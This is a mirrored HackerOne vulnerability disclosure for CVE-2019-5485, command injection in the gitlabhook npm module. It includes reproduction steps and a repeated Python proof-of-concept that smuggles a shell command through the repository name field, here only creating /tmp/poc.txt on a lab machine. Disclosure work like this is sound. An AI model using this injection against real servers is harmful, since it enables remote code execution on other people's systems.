Skip to content
RCE Disclosed report Beginner CVE-2019-5485

gitlabhook OS Command Injection

The gitlabhook module passes user input directly to a command execution function without sanitisation. An attacker can send a crafted HTTP request to execute arbitrary commands on the server.

samlyhin Follow

Originally disclosed on HackerOne

Critical 10.0 View original
  • Triaged in 3 days
  • Fixed in 13 days
  • Disclosed after 13 days

I would like to report OS Command Injection in gitlabhook. It allows execution of arbitrary code on the remote server, that waits for instructions from gitlab.

Module

module name: gitlabhook version: 0.0.17 npm page: https://www.npmjs.com/package/gitlabhook

Module Description

This is an easy to use nodeJS based web hook for GitLab.

Module Stats

[5] downloads in the last week

Vulnerability

Vulnerability Description

Function "ExecFile" at line 146 executes commands without any sanitization. User input gets passed directly to this command.

Steps To Reproduce:

An exploit on python3 was created.

#!/usr/bin/python

import requests

target = "http://192.168.126.128:3420"
cmd = r"touch /tmp/poc.txt"
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print "Done."

Please follow these steps:

  1. Create a temporary directory on the filesystem. mkdir /tmp/temp cd /tmp/temp
  2. Install the module: npm install gitlabhook
  3. Change directory: cd node_modules/gitlabhook/
  4. Run the application: node gitlabhook-server.js

At step 4, you should see that the server is up and running. It should send a big message to the terminal, and this message should finish with the line:

listening for github events on 0.0.0.0:3420

This server was set up on Kali Linux machine. This machine has an interface with IP address 192.168.126.128.

I have another machine on Windows, that can reach this Kali Linux machine by the above IP. This Windows machine has python3 installed, and python requests module installed too.

So, edit the exploit and run it.

#!/usr/bin/python

import requests

target = "http://192.168.126.128:3420" #put target IP and port here
cmd = r"touch /tmp/poc.txt" #a command to execute
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print ("Done.")

The exploit above should create a file /tmp/poc.txt on the victim server.

So, on the Kali machine, run the next command:

ls /tmp/poc.txt

And ensure that the file was created.

Also it's possible to check this vulnerability without usage of additional windows machine. The above exploit may be run on Kali Linux machine:

exploit.py:

#!/bin/python3

import requests

target = "http://127.0.0.1:3420" #put target IP and port here
cmd = r"touch /tmp/poc.txt" #a command to execute
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)

print ("Done.")

run it:

chmod 755 exploit.py
pip3 install requests
python3 exploit.py

and check the result with the following command:

ls /tmp/poc.txt 

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

An attacker can achieve Remote Code Execution (RCE) without any conditions.

The original report as published on HackerOne, by samlyhin. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker can achieve Remote Code Execution (RCE) without any conditions.

What the attacker needed

Network access to the gitlabhook server

How it was found

  1. Create a temporary directory and install the gitlabhook module.
  2. Change into the module directory and start the server.
  3. Send a crafted HTTP request containing a command in the repository name field.
  4. Check that the command was executed by looking for the created file.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report is about a small web server that listens for messages from GitLab. It takes a field from the incoming message and uses it as part of a system command without cleaning it first. That means someone can send a message that includes extra commands, and the server will run them.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.